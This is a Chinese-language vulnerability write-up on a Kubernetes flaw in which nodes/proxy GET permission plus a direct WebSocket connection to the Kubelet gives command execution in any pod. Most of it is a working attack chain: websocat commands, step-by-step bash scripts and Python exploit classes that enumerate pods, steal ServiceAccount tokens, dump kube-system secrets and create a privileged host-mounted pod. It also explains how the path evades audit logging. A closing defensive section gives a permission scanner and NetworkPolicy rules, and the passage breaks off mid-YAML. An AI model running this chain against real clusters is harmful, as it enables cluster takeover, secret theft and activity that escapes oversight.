0. 漏洞概述

2026 年 1 月 26 日,安全研究员 Graham Helton 披露了一个 Kubernetes RBAC 授权设计缺陷:仅需 nodes/proxy 的 GET 权限(几乎所有监控组件都有此权限),配合 WebSocket 直连 Kubelet 10250 端口,即可在集群中任意 Pod 内执行命令,包括 kube-system 中的特权 Pod。

属性 值
披露者 Graham Helton
披露日期 2026-01-26
官方定性 Won't Fix / intended behavior
CVE 编号 无(不分配)
所需权限 nodes/proxy GET(仅此一项)
攻击结果 集群内任意 Pod 命令执行 → 集群管理员
测试版本 v1.34, v1.35
在野利用 Horizon3 NodeZero 模块 H3-2026-0002
受影响 Helm Chart 69 个

1. 核心原理:WebSocket GET 握手如何骗过 RBAC

1.1 K8s RBAC 基础模型

┌──────────────────────────────────────────────────────────────────┐
│              Kubernetes RBAC 授权模型                              │
│                                                                  │
│  resources × verbs = 权限                                        │
│                                                                  │
│  正常映射:                                                        │
│  ┌─────────────────┬──────────┬──────────────────────────┐       │
│  │ Resource         │ Verb     │ 含义                      │       │
│  ├─────────────────┼──────────┼──────────────────────────┤       │
│  │ pods            │ get      │ 读 Pod 信息 (只读)         │       │
│  │ pods            │ create   │ 创建 Pod (写)              │       │
│  │ pods/exec       │ create   │ 在容器内执行命令 (写!)      │       │
│  │ pods/logs       │ get      │ 读容器日志 (只读)          │       │
│  │ nodes/proxy     │ get      │ 读 Kubelet 数据 (看似只读) │       │
│  │ nodes/proxy     │ create   │ 执行 Kubelet 写操作        │       │
│  └─────────────────┴──────────┴──────────────────────────┘       │
│                                                                  │
│  问题: nodes/proxy 是一个 catch-all 权限                         │
│  它控制对 Kubelet 所有 API 端点的访问                             │
│  包括只读的 /metrics 和写操作的 /exec                            │
└──────────────────────────────────────────────────────────────────┘

1.2 两条访问路径的授权差异

┌──────────────────────────────────────────────────────────────────┐
│           两条访问 Kubelet /exec 端点的路径                        │
│                                                                  │
│  路径 A: API Server Proxy (安全)                                  │
│  ┌──────────┐    POST     ┌──────────┐   转发    ┌──────────┐    │
│  │ 攻击者    │ ─────────→ │ API Server│ ────────→│ Kubelet   │    │
│  │          │            │          │          │ /exec     │    │
│  └──────────┘            └──────────┘          └──────────┘    │
│  HTTP方法: POST          verb映射: POST → CREATE                 │
│  RBAC检查: nodes/proxy + CREATE                                  │
│  审计日志: ✓ 完整记录 (含 pods/exec URI)                          │
│  结果: 如果只有 GET 权限 → 403 Forbidden ✓                       │
│                                                                  │
│  路径 B: WebSocket 直连 (危险!)                                   │
│  ┌──────────┐   GET (Upgrade) ┌──────────┐                      │
│  │ 攻击者    │ ──────────────→ │ Kubelet   │                      │
│  │          │ ← WebSocket ── │ :10250    │                      │
│  └──────────┘    升级成功      └──────────┘                      │
│  HTTP方法: GET (WebSocket握手, RFC 6455规定)                     │
│  verb映射: GET → GET                                             │
│  RBAC检查: nodes/proxy + GET (通过!)                             │
│  审计日志: ✗ 仅 subjectaccessreviews, 无命令内容                  │
│  结果: 命令执行成功! ✗                                           │
│                                                                  │
│  关键: WebSocket 握手必须用 HTTP GET (RFC 6455)                  │
│  Kubelet 按 GET 授权, 但实际执行的是写操作 (/exec)                │
│  升级后不再做第二次 CREATE 检查!                                  │
└──────────────────────────────────────────────────────────────────┘

1.3 Kubelet auth.go 的 verb 映射逻辑

// Kubelet auth.go 第 80-94行 (简化版)
// 将 HTTP method 映射为 RBAC verb

func (s *server) authorizeRequest(req *http.Request) authorizer.Attributes {
    method := req.Method
    
    var verb string
    switch method {
    case "POST":
        verb = "create"    // POST → CREATE (正确)
    case "GET":
        verb = "get"       // GET → GET (WebSocket握手走这里!)
    case "PUT":
        verb = "update"
    case "DELETE":
        verb = "delete"
    }
    
    // 检查: 用户是否有 nodes/proxy 的 GET verb?
    // 如果有 → 授权通过 (即使是 /exec 端点!)
    // WebSocket 升级后不再做第二次检查
    
    attributes := authorizer.AttributesRecord{
        User:            user,
        Verb:            verb,           // "get"
        Resource:        "nodes/proxy",
        ResourceRequest: true,
    }
    
    decision := s.authorizer.Authorize(attributes)
    if decision == authorizer.DecisionAllow {
        // 授权通过! WebSocket 升级到 /exec handler
        // 后续命令执行不再检查 CREATE 权限
        return nil  // 允许请求
    }
    
    return errors.New("forbidden")
}

1.4 对比演示

# === 路径 A: API Server Proxy (POST → CREATE → 403) ===

# 设置环境变量
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NODE_NAME=$(hostname)  # 或通过 Downward API 获取

# 通过 API Server Proxy 路径访问 /exec
# 使用 POST 方法 (标准 HTTP)
curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/exec/default/nginx/nginx?command=id&stdout=true"

# 结果: 403 Forbidden
# {
#   "kind": "Status",
#   "message": "nodes \"node-1\" is forbidden: cannot create resource \"nodes/proxy\""
# }
# ↑ 正确映射为 CREATE, 没有 CREATE 权限被拒绝 ✓


# === 路径 B: WebSocket 直连 (GET → GET → RCE!) ===

# 获取 Node IP
NODE_IP=$(curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/nodes/$NODE_NAME" | jq -r '.status.addresses[] | select(.type=="InternalIP").address')

# 使用 WebSocket 直连 Kubelet 10250 端口
# WebSocket 握手使用 HTTP GET (RFC 6455 规定)
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"

# 结果: 命令执行成功!
# uid=0(root) gid=0(root) groups=0(root)
# ← GET 握手绕过 CREATE 检查, 直接执行! ✗

2. 完整攻击链:5 步从 GET 权限到集群管理员

2.1 攻击链总览

┌──────────────────────────────────────────────────────────────────┐
│        nodes/proxy GET → 集群 RCE 完整攻击链                      │
│                                                                  │
│  Step 1: 确认权限                                                │
│  ┌───────────────────────────────────────────┐                   │
│  │ cat /var/run/secrets/.../token             │                   │
│  │ kubectl auth can-i --list                  │                   │
│  │ → 确认有 nodes/proxy GET                    │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 2: 获取 Node IP                    ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ 通过 Downward API 或 API Server 查询        │                   │
│  │ → 获取目标 Kubelet 的 IP 地址               │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 3: 枚举目标 Pod                    ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ 连接 Kubelet /pods 端点                    │                   │
│  │ 列出所有运行中的 Pod 和容器                  │                   │
│  │ 优先选择 kube-system 中的特权 Pod           │                   │
│  │ (如 kube-proxy, controller-manager)        │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 4: WebSocket exec                 ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ websocat wss://NODE:10250/exec/...         │                   │
│  │ GET 握手 → RBAC GET 检查通过                │                   │
│  │ WebSocket 升级 → 命令执行                   │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 5: 提权到集群管理员                ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ 从特权 Pod 偷取 ServiceAccount Token        │                   │
│  │ 或创建特权 Pod 挂载宿主机文件系统            │                   │
│  │ → 集群完全沦陷                              │                   │
│  └───────────────────────────────────────────┘                   │
│                                                                  │
│  审计盲区: 整个过程在 audit log 中仅显示                           │
│  subjectaccessreviews, 看不到执行的命令内容                       │
└──────────────────────────────────────────────────────────────────┘

2.2 Step 1:确认权限

#!/bin/bash
# step1_check_permissions.sh

# 读取 ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

echo "[*] Reading ServiceAccount Token..."
echo "[*] Token (first 50 chars): ${TOKEN:0:50}..."

# 解码 JWT 查看 payload
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . 2>/dev/null || \
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null

# 枚举当前权限
echo ""
echo "[*] Checking permissions..."
kubectl auth can-i --list 2>/dev/null || \
curl -sk -H "Authorization: Bearer $TOKEN" \
  --cacert "$CACERT" \
  "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' | \
  jq '.status.resourceRules[] | select(.resources[] | contains("nodes/proxy"))'

# 关键输出:
# resources: ["nodes/proxy"]  verbs: ["get"]
# → 有 nodes/proxy GET 权限, 攻击可行!

echo ""
echo "[+] Permission check complete"
echo "[+] If nodes/proxy GET is listed, exploitation is possible"

2.3 Step 2:获取 Node IP

#!/bin/bash
# step2_get_node_ip.sh

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 方法 1: 通过 Downward API (如果 Pod 配置了)
NODE_NAME=${MY_NODE_NAME:-$(hostname)}
echo "[*] Node name: $NODE_NAME"

# 方法 2: 通过 API Server 查询 Node 信息
NODE_IP=$(curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  --cacert "$CACERT" \
  "$APISERVER/api/v1/nodes/$NODE_NAME" | \
  jq -r '.status.addresses[] | select(.type=="InternalIP").address')

echo "[*] Node Internal IP: $NODE_IP"

# 方法 3: 如果在监控 Pod 中, 从 /pods 端点提取
if [ -z "$NODE_IP" ]; then
    echo "[*] Trying to get Node IP from /pods endpoint..."
    NODE_IP=$(curl -sk \
      -H "Authorization: Bearer $TOKEN" \
      --cacert "$CACERT" \
      "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | \
      jq -r '.items[0].status.hostIP' 2>/dev/null)
    echo "[*] Node IP from /pods: $NODE_IP"
fi

echo "[+] Target Kubelet: https://$NODE_IP:10250"

2.4 Step 3:枚举目标 Pod

#!/bin/bash
# step3_enumerate_pods.sh

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="<目标Node IP>"

# 通过 Kubelet /pods 端点列出所有 Pod
echo "[*] Enumerating pods on node..."
PODS_JSON=$(curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  "https://$NODE_IP:10250/pods")

# 解析并优先显示 kube-system 中的特权 Pod
echo "$PODS_JSON" | jq -r '
.items[] | 
select(.metadata.namespace == "kube-system") |
"NS: \(.metadata.namespace)  POD: \(.metadata.name)  CONTAINER: \(.spec.containers[0].name)  SA: \(.spec.serviceAccountName)  HOST_NET: \(.spec.hostNetwork // false)  HOST_PID: \(.spec.hostPID // false)"
'

# 优先目标:
# 1. kube-proxy (通常有 hostNetwork: true, 高权限 SA)
# 2. controller-manager (cluster-admin 级别 SA)
# 3. 任何 hostPID/hostNetwork 的 Pod

echo ""
echo "[*] All pods on this node:"
echo "$PODS_JSON" | jq -r '
.items[] |
"NS: \(.metadata.namespace)  POD: \(.metadata.name)  CONTAINER: \(.spec.containers[0].name)"
' | head -20

2.5 Step 4:WebSocket 命令执行

#!/bin/bash
# step4_websocket_exec.sh

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="<目标Node IP>"

# 目标: kube-system 中的 kube-proxy Pod
TARGET_NS="kube-system"
TARGET_POD="kube-proxy-xxxxx"  # 从 Step 3 获取
TARGET_CONTAINER="kube-proxy"

# 执行命令: 读取 ServiceAccount Token
echo "[*] Executing command via WebSocket..."
echo "[*] Target: $TARGET_NS/$TARGET_POD/$TARGET_CONTAINER"
echo "[*] Command: cat /var/run/secrets/kubernetes.io/serviceaccount/token"
echo ""

# 使用 websocat 进行 WebSocket exec
# 关键: 使用 wss:// 协议, GET 握手绕过 RBAC
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/$TARGET_NS/$TARGET_POD/$TARGET_CONTAINER?output=1&error=1&command=cat&command=/var/run/secrets/kubernetes.io/serviceaccount/token"

# 输出: kube-proxy 的 ServiceAccount Token
# 这个 Token 通常有 cluster-admin 或接近的权限!

echo ""
echo "[*] Alternative: execute id command"
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol "v4.channel.k8s.io" \
  "wss://$NODE_IP:10250/exec/$TARGET_NS/$TARGET_POD/$TARGET_CONTAINER?output=1&error=1&command=id"

# 输出: uid=0(root) gid=0(root) groups=0(root)
# kube-proxy 通常以 root 运行!

2.6 Step 5:提权到集群管理员

"""
Step 5: 使用从特权 Pod 偷取的 Token 提权到集群管理员
"""

import subprocess
import json
import urllib.request
import ssl

class K8sPrivilegeEscalation:
    """K8s 提权到集群管理员"""
    
    def __init__(self, stolen_token: str, api_server: str):
        self.token = stolen_token
        self.api_server = api_server
        self.ctx = ssl.create_default_context()
        self.ctx.check_hostname = False
        self.ctx.verify_mode = ssl.CERT_NONE
    
    def check_permissions(self) -> dict:
        """检查偷来的 Token 有什么权限"""
        url = f"{self.api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
        body = json.dumps({
            "apiVersion": "authorization.k8s.io/v1",
            "kind": "SelfSubjectRulesReview",
            "spec": {"namespace": "kube-system"}
        }).encode()
        
        req = urllib.request.Request(url, data=body, method="POST")
        req.add_header("Authorization", f"Bearer {self.token}")
        req.add_header("Content-Type", "application/json")
        
        response = urllib.request.urlopen(req, context=self.ctx)
        rules = json.loads(response.read())
        
        # 检查是否有 cluster-admin 级别权限
        for rule in rules["status"]["resourceRules"]:
            if "*" in rule.get("verbs", []) and "*" in rule.get("resources", []):
                print("[!] CLUSTER ADMIN ACCESS DETECTED!")
                return {"cluster_admin": True, "rule": rule}
        
        return {"cluster_admin": False, "rules": rules["status"]["resourceRules"]}
    
    def steal_secrets(self) -> list:
        """窃取 kube-system 中的所有 Secrets"""
        url = f"{self.api_server}/api/v1/namespaces/kube-system/secrets"
        req = urllib.request.Request(url)
        req.add_header("Authorization", f"Bearer {self.token}")
        
        response = urllib.request.urlopen(req, context=self.ctx)
        secrets = json.loads(response.read())
        
        stolen = []
        for secret in secrets.get("items", []):
            import base64
            name = secret["metadata"]["name"]
            if "token" in name.lower() or "cert" in name.lower():
                data = secret.get("data", {})
                decoded = {}
                for key, value in data.items():
                    decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
                stolen.append({"name": name, "type": secret["type"], "data": decoded})
                print(f"[+] Stolen secret: {name}")
        
        return stolen
    
    def create_privileged_pod(self) -> str:
        """创建特权 Pod 挂载宿主机文件系统"""
        pod_manifest = {
            "apiVersion": "v1",
            "kind": "Pod",
            "metadata": {
                "name": "debug-tools",
                "namespace": "default"
            },
            "spec": {
                "hostPID": True,
                "hostNetwork": True,
                "containers": [{
                    "name": "debug",
                    "image": "alpine:3.18",
                    "command": ["/bin/sh", "-c", "sleep 3600"],
                    "securityContext": {
                        "privileged": True
                    },
                    "volumeMounts": [{
                        "name": "host-root",
                        "mountPath": "/host"
                    }]
                }],
                "volumes": [{
                    "name": "host-root",
                    "hostPath": {"path": "/"}
                }]
            }
        }
        
        url = f"{self.api_server}/api/v1/namespaces/default/pods"
        body = json.dumps(pod_manifest).encode()
        
        req = urllib.request.Request(url, data=body, method="POST")
        req.add_header("Authorization", f"Bearer {self.token}")
        req.add_header("Content-Type", "application/json")
        
        response = urllib.request.urlopen(req, context=self.ctx)
        result = json.loads(response.read())
        
        pod_name = result["metadata"]["name"]
        print(f"[+] Privileged pod created: {pod_name}")
        print(f"[+] Access host filesystem at /host")
        return pod_name
    
    def full_takeover(self):
        """完整集群接管"""
        print("=" * 60)
        print("K8s Cluster Takeover via nodes/proxy GET")
        print("=" * 60)
        
        # 1. 检查权限
        print("\n[*] Step 1: Checking stolen token permissions...")
        perms = self.check_permissions()
        
        # 2. 窃取 Secrets
        print("\n[*] Step 2: Stealing kube-system secrets...")
        secrets = self.steal_secrets()
        
        # 3. 创建特权 Pod
        print("\n[*] Step 3: Creating privileged pod...")
        pod = self.create_privileged_pod()
        
        print(f"\n[+] Cluster takeover complete!")
        print(f"[+] Stolen {len(secrets)} secrets from kube-system")
        print(f"[+] Privileged pod: {pod}")
        print(f"[+] Host filesystem accessible at /host")

3. Python WebSocket 攻击工具

"""
K8s nodes/proxy GET → RCE 自动化利用工具
无需 websocat, 纯 Python 实现 WebSocket exec
"""

import asyncio
import ssl
import json
import base64
from urllib.parse import quote

class K8sNodesProxyExploit:
    """nodes/proxy GET 权限利用工具"""
    
    def __init__(self, token: str, node_ip: str, port: int = 10250):
        self.token = token
        self.node_ip = node_ip
        self.port = port
        self.ssl_ctx = ssl.create_default_context()
        self.ssl_ctx.check_hostname = False
        self.ssl_ctx.verify_mode = ssl.CERT_NONE
    
    async def websocket_exec(self, namespace: str, pod: str, 
                              container: str, command: list[str]) -> str:
        """
        通过 WebSocket 在目标容器中执行命令
        利用 GET 握手绕过 RBAC CREATE 检查
        """
        import websockets
        
        # 构造 WebSocket URL
        # Kubelet exec 端点格式: /exec/{namespace}/{pod}/{container}
        cmd_params = "&".join([f"command={quote(c)}" for c in command])
        url = (
            f"wss://{self.node_ip}:{self.port}/exec/"
            f"{namespace}/{pod}/{container}"
            f"?output=1&error=1&{cmd_params}"
        )
        
        # WebSocket 握手使用 HTTP GET
        # Kubelet auth.go 将 GET 映射为 RBAC GET verb
        # 如果用户有 nodes/proxy GET 权限 → 授权通过
        # WebSocket 升级后不再做 CREATE 检查
        
        headers = {
            "Authorization": f"Bearer {self.token}",
        }
        
        # v4.channel.k8s.io 是 K8s WebSocket 子协议
        # v4 = 4通道 (stdin, stdout, stderr, error)
        try:
            async with websockets.connect(
                url,
                ssl=self.ssl_ctx,
                additional_headers=headers,
                subprotocols=["v4.channel.k8s.io"],
                open_timeout=10,
                close_timeout=5
            ) as ws:
                # 读取输出
                output = ""
                try:
                    while True:
                        message = await asyncio.wait_for(ws.recv(), timeout=5)
                        if isinstance(message, bytes):
                            # K8s WebSocket 协议: 第一个字节是通道号
                            # 通道 1 = stdout, 通道 2 = stderr, 通道 3 = error
                            if len(message) > 1:
                                channel = message[0]
                                data = message[1:]
                                if channel in (1, 2):  # stdout or stderr
                                    output += data.decode("utf-8", errors="replace")
                except asyncio.TimeoutError:
                    pass
                
                return output.strip()
        
        except Exception as e:
            return f"Error: {e}"
    
    async def enumerate_pods(self) -> list:
        """枚举 Node 上所有运行的 Pod"""
        import urllib.request
        
        url = f"https://{self.node_ip}:{self.port}/pods"
        req = urllib.request.Request(url)
        req.add_header("Authorization", f"Bearer {self.token}")
        
        response = urllib.request.urlopen(req, context=self.ssl_ctx)
        pods_data = json.loads(response.read())
        
        pods = []
        for item in pods_data.get("items", []):
            pod_info = {
                "namespace": item["metadata"]["namespace"],
                "name": item["metadata"]["name"],
                "containers": [c["name"] for c in item["spec"]["containers"]],
                "service_account": item["spec"].get("serviceAccountName", "default"),
                "host_network": item["spec"].get("hostNetwork", False),
                "host_pid": item["spec"].get("hostPID", False),
                "privileged": any(
                    c.get("securityContext", {}).get("privileged", False)
                    for c in item["spec"]["containers"]
                )
            }
            pods.append(pod_info)
        
        return pods
    
    async def find_high_value_targets(self, pods: list) -> list:
        """识别高价值目标 Pod"""
        high_value = []
        
        for pod in pods:
            score = 0
            reasons = []
            
            # kube-system 命名空间
            if pod["namespace"] == "kube-system":
                score += 3
                reasons.append("kube-system namespace")
            
            # 特权容器
            if pod["privileged"]:
                score += 5
                reasons.append("privileged container")
            
            # hostNetwork
            if pod["host_network"]:
                score += 2
                reasons.append("hostNetwork")
            
            # hostPID
            if pod["host_pid"]:
                score += 2
                reasons.append("hostPID")
            
            # 高权限 ServiceAccount
            if pod["service_account"] not in ("default", ""):
                score += 2
                reasons.append(f"SA: {pod['service_account']}")
            
            if score >= 3:
                high_value.append({
                    **pod,
                    "score": score,
                    "reasons": reasons
                })
        
        # 按分数排序
        high_value.sort(key=lambda x: x["score"], reverse=True)
        return high_value
    
    async def steal_sa_token(self, namespace: str, pod: str, 
                              container: str) -> str:
        """从目标 Pod 偷取 ServiceAccount Token"""
        command = ["cat", "/var/run/secrets/kubernetes.io/serviceaccount/token"]
        token = await self.websocket_exec(namespace, pod, container, command)
        return token.strip()
    
    async def run_exploit(self):
        """执行完整利用链"""
        print("=" * 60)
        print("K8s nodes/proxy GET → RCE Exploit")
        print("=" * 60)
        
        # Step 1: 枚举 Pod
        print("\n[*] Step 1: Enumerating pods on node...")
        pods = await self.enumerate_pods()
        print(f"    Found {len(pods)} pods")
        
        # Step 2: 识别高价值目标
        print("\n[*] Step 2: Identifying high-value targets...")
        targets = await self.find_high_value_targets(pods)
        for i, t in enumerate(targets[:5]):
            print(f"    [{i}] {t['namespace']}/{t['name']}")
            print(f"        Score: {t['score']} | Reasons: {', '.join(t['reasons'])}")
        
        if not targets:
            print("[-] No high-value targets found")
            return
        
        # Step 3: 在高价值目标中执行命令
        target = targets[0]
        print(f"\n[*] Step 3: Executing commands in {target['namespace']}/{target['name']}")
        
        container = target["containers"][0]
        
        # 执行 id 命令确认权限
        print(f"\n[*] Executing: id")
        result = await self.websocket_exec(
            target["namespace"], target["name"], container, ["id"]
        )
        print(f"    Output: {result}")
        
        # Step 4: 偷取 ServiceAccount Token
        print(f"\n[*] Step 4: Stealing ServiceAccount Token...")
        stolen_token = await self.steal_sa_token(
            target["namespace"], target["name"], container
        )
        if stolen_token and len(stolen_token) > 50:
            print(f"    [+] Token stolen! (length: {len(stolen_token)})")
            print(f"    [+] Token (first 50): {stolen_token[:50]}...")
        else:
            print(f"    [-] Failed to steal token")
            return
        
        # Step 5: 使用偷来的 Token 访问 API Server
        print(f"\n[*] Step 5: Using stolen token to access API Server...")
        print(f"    Token can be used with kubectl:")
        print(f"    KUBE_TOKEN={stolen_token[:30]}... kubectl --server=<API_SERVER> auth can-i --list")
        
        print(f"\n[+] Exploit complete!")
        print(f"[+] Cluster may be fully compromised")


# === 使用方式 ===
async def main():
    import os
    
    # 从环境变量或文件读取 Token
    token = os.environ.get("K8S_TOKEN", "")
    if not token:
        token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"
        if os.path.exists(token_path):
            with open(token_path) as f:
                token = f.read().strip()
    
    if not token:
        print("[-] No token found")
        return
    
    node_ip = os.environ.get("NODE_IP", "10.0.0.10")
    
    exploit = K8sNodesProxyExploit(token=token, node_ip=node_ip)
    await exploit.run_exploit()

# asyncio.run(main())

4. 隐蔽性分析

4.1 审计日志盲区

"""
两条路径的审计日志差异对比
"""

audit_comparison = """
┌──────────────────────────────────────────────────────────────────┐
│               审计日志对比                                         │
│                                                                  │
│  路径 A: API Server Proxy                                        │
│  ┌────────────────────────────────────────────────────┐         │
│  │ 审计日志记录:                                       │         │
│  │ • verb: create                                     │         │
│  │ • resource: nodes/proxy                            │         │
│  │ • subresource: exec                                │         │
│  │ • requestURI: /api/v1/nodes/node1/proxy/exec/...   │         │
│  │ • 完整命令参数可见 ✓                                │         │
│  │ • pods/exec 审计记录生成 ✓                         │         │
│  │ • subjectaccessreviews 记录 ✓                     │         │
│  └────────────────────────────────────────────────────┘         │
│  → 蓝队可以看到: 谁在哪个 Pod 执行了什么命令                      │
│                                                                  │
│  路径 B: WebSocket 直连 Kubelet                                  │
│  ┌────────────────────────────────────────────────────┐         │
│  │ 审计日志记录:                                       │         │
│  │ • verb: get                                        │         │
│  │ • resource: nodes/proxy                            │         │
│  │ • requestURI: /exec/kube-system/kube-proxy/...     │         │
│  │ • 命令参数: 不记录 ✗                                │         │
│  │ • pods/exec 审计记录: 不生成 ✗                     │         │
│  │ • subjectaccessreviews 记录: 有 (但只有 verb=get)  │         │
│  └────────────────────────────────────────────────────┘         │
│  → 蓝队只能看到: 某用户 GET 了 nodes/proxy                        │
│  → 看不到执行了什么命令, 在哪个 Pod 执行                          │
│  → 看起来像是正常的监控请求!                                      │
│                                                                  │
│  Graham Helton 原文:                                             │
│  "Kubernetes AuditPolicy does not log commands executed          │
│   through a direct connection to the Kubelet API"                │
└──────────────────────────────────────────────────────────────────┘
"""

4.2 检测困难点

检测方法 路径 A (API Server) 路径 B (WebSocket 直连)
K8s Audit Log ✓ 完整记录命令 ✗ 仅 subjectaccessreviews
pods/exec 审计 ✓ 生成 ✗ 不生成
命令内容 ✓ 可见 ✗ 不可见
请求来源 ✓ API Server IP ✗ 直接来自 Pod IP
NetworkPolicy ✓ 可限制 需额外配置限制 10250
Falco ✓ 可检测 需检测 10250 端口连接

5. 攻击面测绘

5.1 受影响的 Helm Chart

Graham Helton 扫描发现 69 个 Helm Chart 包含 nodes/proxy GET 权限。常见的受影响组件:

组件类型 示例 为什么有 nodes/proxy GET
监控组件 Prometheus Node Exporter 读取节点 metrics
日志收集 Fluentd, Filebeat 读取容器日志
网络插件 Calico, Cilium 读取网络状态
存储插件 CSI drivers 读取存储状态
安全代理 Datadog Agent, Sysdig 全面监控

5.2 集群扫描脚本

"""
扫描集群中所有拥有 nodes/proxy 权限的 ServiceAccount
"""

import json
import subprocess

class NodesProxyScanner:
    """扫描 nodes/proxy 权限分配"""
    
    @staticmethod
    def scan_clusterrole_bindings():
        """扫描 ClusterRoleBinding 中的 nodes/proxy 权限"""
        # 获取所有 ClusterRole
        result = subprocess.run(
            ["kubectl", "get", "clusterroles", "-o", "json"],
            capture_output=True, text=True
        )
        roles = json.loads(result.stdout)
        
        vulnerable_roles = []
        for role in roles["items"]:
            rules = role.get("rules", [])
            for rule in rules:
                resources = rule.get("resources", [])
                verbs = rule.get("verbs", [])
                
                if "nodes/proxy" in resources and "get" in verbs:
                    vulnerable_roles.append({
                        "role_name": role["metadata"]["name"],
                        "verbs": verbs,
                        "resources": resources,
                        "risk": "HIGH" if "get" in verbs else "CRITICAL"
                    })
        
        return vulnerable_roles
    
    @staticmethod
    def scan_role_bindings():
        """扫描哪些 ServiceAccount 绑定了有 nodes/proxy 权限的 Role"""
        vulnerable_roles = NodesProxyScanner.scan_clusterrole_bindings()
        vulnerable_role_names = [r["role_name"] for r in vulnerable_roles]
        
        # 检查 ClusterRoleBinding
        result = subprocess.run(
            ["kubectl", "get", "clusterrolebindings", "-o", "json"],
            capture_output=True, text=True
        )
        bindings = json.loads(result.stdout)
        
        affected_sas = []
        for binding in bindings["items"]:
            role_ref = binding.get("roleRef", {})
            if role_ref.get("name") in vulnerable_role_names:
                subjects = binding.get("subjects", [])
                for subject in subjects:
                    if subject.get("kind") == "ServiceAccount":
                        affected_sas.append({
                            "service_account": subject["name"],
                            "namespace": subject.get("namespace", ""),
                            "role": role_ref["name"],
                            "binding": binding["metadata"]["name"]
                        })
        
        return affected_sas
    
    @staticmethod
    def scan_helm_charts():
        """扫描已安装的 Helm Release 中的 RBAC 配置"""
        result = subprocess.run(
            ["helm", "list", "-A", "-o", "json"],
            capture_output=True, text=True
        )
        releases = json.loads(result.stdout) if result.stdout else []
        
        for release in releases:
            name = release["name"]
            namespace = release["namespace"]
            
            # 获取 release 的 manifest
            manifest_result = subprocess.run(
                ["helm", "get", "manifest", name, "-n", namespace],
                capture_output=True, text=True
            )
            
            manifest = manifest_result.stdout
            if "nodes/proxy" in manifest and "get" in manifest:
                print(f"[!] Helm Release '{name}' in namespace '{namespace}' "
                      f"contains nodes/proxy GET permission!")
    
    @staticmethod
    def generate_report():
        """生成完整扫描报告"""
        print("=" * 60)
        print("K8s nodes/proxy GET Permission Scanner")
        print("=" * 60)
        
        print("\n[*] Scanning ClusterRoles for nodes/proxy GET...")
        roles = NodesProxyScanner.scan_clusterrole_bindings()
        for role in roles:
            print(f"    [!] {role['role_name']}: {role['verbs']} on {role['resources']}")
        
        print(f"\n[*] Found {len(roles)} roles with nodes/proxy GET")
        
        print("\n[*] Scanning ServiceAccount bindings...")
        sas = NodesProxyScanner.scan_role_bindings()
        for sa in sas:
            print(f"    [!] SA: {sa['namespace']}/{sa['service_account']} "
                  f"← {sa['role']} (via {sa['binding']})")
        
        print(f"\n[*] Found {len(sas)} ServiceAccounts with nodes/proxy GET")
        
        print("\n[*] Scanning Helm releases...")
        NodesProxyScanner.scan_helm_charts()
        
        print("\n" + "=" * 60)
        print("Recommendation:")
        print("  1. Remove nodes/proxy GET from non-essential ServiceAccounts")
        print("  2. Restrict Kubelet 10250 port access via NetworkPolicy")
        print("  3. Monitor direct Kubelet connections (bypassing API Server)")
        print("  4. Wait for KEP-2862 GA in v1.36 for fine-grained permissions")
        print("=" * 60)


# 运行扫描
# NodesProxyScanner.generate_report()

6. 防御方案

6.1 网络层防御

# NetworkPolicy: 限制只有 API Server 能访问 Kubelet 10250 端口
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubelet-access
  namespace: kube-system
spec:
  podSelector:
    matchLabels:
      component: kubelet
  policyTypes:
    - Ingress
  ingress:
    # 仅允许 API Server 访问 Kubelet
    - from:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
          podSelector:
            matchLabels:
              component: kube-apiserver
      ports:
        - protocol: TCP
          port: 10250
    # 允许节点本地访问 (健康检查)
    - from:
        - ipBlock:
            cidr: 127.0.0.1/32
      ports:
        - protocol: TCP
          port: 10250
---
# 阻断 Pod 到 Kubelet 10250 的直接连接
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-pod-to-kubelet
  namespace: default
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    # 允许所有出站,但排除 Kubelet 端口
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
